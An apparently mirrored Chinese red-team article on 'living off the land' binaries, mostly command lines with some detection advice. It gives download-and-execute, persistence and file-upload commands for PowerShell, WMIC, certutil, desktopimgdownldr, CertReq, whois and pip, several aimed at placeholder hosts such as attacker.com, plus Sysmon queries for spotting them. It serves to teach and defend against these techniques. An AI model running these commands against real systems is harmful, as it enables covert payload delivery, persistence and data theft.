26

浅谈Living Off the Land Binaries

 3 years ago
source link: https://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA%3D%3D&%3Bmid=2247487354&%3Bidx=1&%3Bsn=6d27fcdcb88d92ef2cc34b89275c44b5
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

这是  酒仙桥六号部队  的第  92   篇文章。

全文共计2608个字,预计阅读时长9分钟

什么是Living off the land Binaries?

Living off the land Binaries简称LoLbins。Living off the land 是由ChristopherCampbell和MattGraeber提出的。Lolbins为二进制文件。攻击方可以通过该二进制文件执行超出其本身功能的工作。

NJVN3ya.gif!mobile

这个下载二进制文件还要你讲?和我自己做的C2下载文件有啥区别!大佬别急,听我说。

LOLbins/lib/script 定义

1.它是操作系统本身文件,或者是从Microsoft下载的文件。总之它必须带有windows自身签名文件。

2.由于是windows自身签名文件,所以一般天然带有免杀的属性,能通过很多应用程序的白名单。

3.它具有APT功能或者一些对我们红队有用的功能。像去年2019年TA505利用LoLbin和新型后门攻击金融行业。

LoLbin功能:

1.执行代码

任意代码执行。

通过LOLbins执行其他程序(未带微软签名)或者脚本。

2.代码编译

3.文件操作

正在下载;

上传;

复制。

4.持久性权限维持

利用现有的LOLBins来做权限维持。

持久性(比如通过隐藏数据在AD中,在登录时候启动。)

5.UAC Bypass

6.转储进程内存

7.监控(例如键盘记录器,网络跟踪等等)。

8.逃避/修改日志

9.不需要重定位到文件系统其他位置的DLLinjected/side-loading。

常见的下载LoLbins

要说到LOLbins最著名且最常见的是PowerShell以及Windows管理工具WMI还有CertUtil工具。讲download为主的lolbin。

PowerShell:

Windows PowerShell   是一种命令行外壳程序和脚本环境,使命令行用户和 脚本编写者可以利用.NETFramework的强大功能。

在服务器上设置一个打开计算器的ps脚本。

远程下载命令:

(New-Object Net.WebClient).DownloadString("http://xx.xx.xx.xx /test.ps1")

远程下载&执行命令:

Invoke-Expression (New-Object
Net.WebClient).DownloadString("http://xxx.xx.xx.xx/test.ps1")

Q7ZVFvY.png!mobile

WMI:

WMIC扩展WMI,提供了从命令行接口和批命令脚本执行系统管理的支持。

服务器上远程放xsl文件:

immIvan.png!mobile

远程下载执行命令:

os get /format:"http://xx.xx.xx.xxx/test2.xsl"

BFvQniq.png!mobile

绑定程序运行(当test.exe运行时,cmd.exe也将运行):

wmic.exe process call create "C:\\\\Windows\\\\system32\\\\reg.exe add


\\\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File
Execution


Options\\\\test.exe\\\\" /v \\\\"Debugger\\\\" /t REG_SZ /d \\\\"cmd.exe\\\\"
/f"

当然还有之前比较火的无文件wmic后门等等。。。。

CertUtil

CertUtil.exe是Microsoft旨在用于处理证书颁发机构(CA)数据和组件的管理命令行工具。这包括验证证书和证书链,转储和显示CA配置信息以及配置证书服务。

路径:

C:\\Windows\\System32\\certutil.exe


C:\\Windows\\SysWOW64\\certutil.exe

下载命令:

certutil.exe -urlcache -f UrlAddress Output-File-Name.txt

远程下载并隐藏在ADS数据流中:

certutil.exe -urlcache -split -f https://xx.xx.xx.xx/xx c:\\\\temp:ttt

zANFbmn.png!mobile

这三者大部分已经能大多数AV,EDR等等识别。。。

EvyYnav.png!mobile

所以我们需要新的LOLbin来执行我们的要达到的效果。

新型下载LOLBIN

Desktopimgdownldr.exe 功能

用于设置锁定屏幕或桌面背景图像作为个性化CSP一部分.CSP在WIN10 1703之后引入。

R3yeeuy.png!mobile

用户如果没有用过CSP,那么路径不存在。

C:\\Windows\\Personalization

默认图片下载和存放路径:

C:\\windows\\Personalization\\LockScreenImage\\LockScreenImage_%random%.jpg

Desktopimgdownldr默认用法:

desktopimgdownldr /lockscreenurl:https://domain.com:8080/file.exe /
eventName:randomname

用法

管理员运行,该文件会设置并覆盖用户锁定的屏幕图像,并生成注册表,我们需要将其注册表删除,避免将其屏幕覆盖。

set "SYSTEMROOT=C:\\Windows\\Temp" && cmd /c desktopimgdownldr.exe
/lockscreenurl: https://xx.xx.xx.xx/xxx.ps1 && reg delete
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PersonalizationCSP
/f

注册表路径:

\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PersonalizationCSP

由于二进制文件desktopimgdownldr中的FunctionSHExpandEnvironmentStringsW使用硬编码地址,所以非管理员也能使用,而且无需注册表。

%systemroot%\\Personalization\\LockScreenImage

普通用户运行:

set "SYSTEMROOT=C:\\Windows\\Temp" && cmd /c desktopimgdownldr.exe
/lockscreenurl: https://xx.xx.xx.xx/xxx.ps1 /eventName:desktopimgdownldr

Debug

个人进行尝试的时候,发现普通用户执行命令不能成功执行命令。

管理员执行成功了。同时生成了注册表。

C:\\Windows\\system32\>desktopimgdownldr
/lockscreenurl:http://xx.xxx.xx.xx/test.ps1 /eventName:randomname

zmQn6b.png!mobile

B3YfyyY.png!mobile

我的机器环境使用了COM +注册目录。因为修改了%systemroot%目录导致文件找不到它。

mklink /J "%TEMP%\\Registration" C:\\windows\\Registration && set
"SYSTEMROOT=%TEMP%" && cmd /c desktopimgdownldr.exe
/lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr &
rmdir /s /q "%TEMP%\\Registration"

重新建立软连接后可以在普通用户下成功运行。

FRnieif.png!mobile

有意思的是我用ProcessMonitor发现与之通信的是svhosts而不是desktopimgdownldrPM过滤后筛选出来desktopimgdownldr却没有任何网络流量。 

feQ73iy.png!mobile

aMV7baF.png!mobile

筛选出svchost的网络流量, 确实是svchost与服务器通信。

UFNjI3M.png!mobile

wireshark跟踪tcp流信息。 

YrERjqU.png!mobile

建议

在sysmon中对其监控:

Event\| where Source == "Microsoft-Windows-Sysmon"\| where RenderedDescription
has "desktopimgdownldr.exe"\| extend a = parse_xml(EventData)\| extend
CommandLine =
tostring(parse_json(tostring(parse_json(tostring(parse_json(tostring(a.DataItem)).EventData)).Data))[10].["\#text"])\|
project TimeGenerated, CommandLine, Computer, EventData, RenderedDescription,
UserName


\| sort by TimeGenerated desc

CertReq

功能

certreq命令可用于从证书颁发机构(CA)请求证书,从CA检索对先前请求的响应,从.inf文件创建新请求,接受并安装对请求的响应,根据现有的CA证书或请求构造交叉认证或合格的从属请求,并签署交叉认证或合格的从属请求。   原本用于帮助windows进行证书认证。还能够作为上传,下载的重要工具。

Z3ueau.png!mobile

用法

上传请求:

CertReq -Post -config https://example.org/ c:\\windows\\win.ini

下载POST请求,并显示内容(支持HTTP与HTTPS):

CertReq -Post -config https://example.org/ c:\\windows\\win.ini

下载POST请求,并保存到本地(支持HTTP与HTTPS):

CertReq -Post -config https://example.org/ c:\\windows\\win.ini output.txt

Debug

个人测试的时候小文件是可以直接下载,估计50多kb左右,大文件会报错。

小文件: 

iUniAb3.png!mobile

大文件: 

J7Njq2.png!mobile

建议

在sysmon中对其进行监控其中的json内容:

Event\| where Source == "Microsoft-Windows-Sysmon" and RenderedDescription has
"OriginalFileName: CertReq.exe"\| extend EventFullData = parse_xml(EventData)\|
parse EventData with \* 'OriginalFileName"\>'OriginalFileName '\</Data\>'\*\|
parse EventData with \* 'CommandLine"\>'Commandline '\</Data\>'\*\| project
TimeGenerated, OriginalFileName, Commandline, Computer, EventID, UserName,
EventFullData


\| sort by TimeGenerated desc

Unix-GTFOBins

windows有LOLbins,Unix下当然也有。

whois 用法

攻击机器监听

nc -l -p 12345 \< "file_to_send"

靶机

RHOST=attacker.com


RPORT=12345


LFILE=file_to_save


whois -h \$RHOST -p \$RPORT \> "\$LFILE"

fuUV3yf.png!mobile

同理也能传递二进制文件,进行base64位编码。

base64 "file_to_send" \| nc -l -p 12345


RHOST=attacker.com


RPORT=12345


LFILE=file_to_save


whois -h \$RHOST -p \$RPORT \| base64 -d \> "\$LFILE"

PIP 用法

利用php install来下载文件。

export URL=http://attacker.com/file_to_get


export LFILE=/tmp/file_to_save


TF=\$(mktemp -d)


echo 'import sys; from os import environ as e


if sys.version_info.major == 3: import urllib.request as r


else: import urllib as r


r.urlretrieve(e["URL"], e["LFILE"])' \> \$TF/setup.py


pip install \$TF

7ZvEBjq.png!mobile

BJnuQzI.png!mobile

总结

LOLbins在实际攻击中除了上面说的下载功能,往往还有很多功能。比如REVERSESHELL,Sudo,SUID,Execute,其中某些bins在AWLpypass有奇效。在红队行动和APT攻击上有着不可忽视的作用。

参考链接:

https://lolbas-project.github.io/


https://github.com/LOLBAS-Project/LOLBAS


https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/


https://docs.microsoft.com/en-us/windows/win32/cossdk/the-com--catalog


https://github.com/WojciechLesicki/TH/blob/master/KQL-queries.txt


https://gtfobins.github.io/

jayqYjj.png!mobile


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK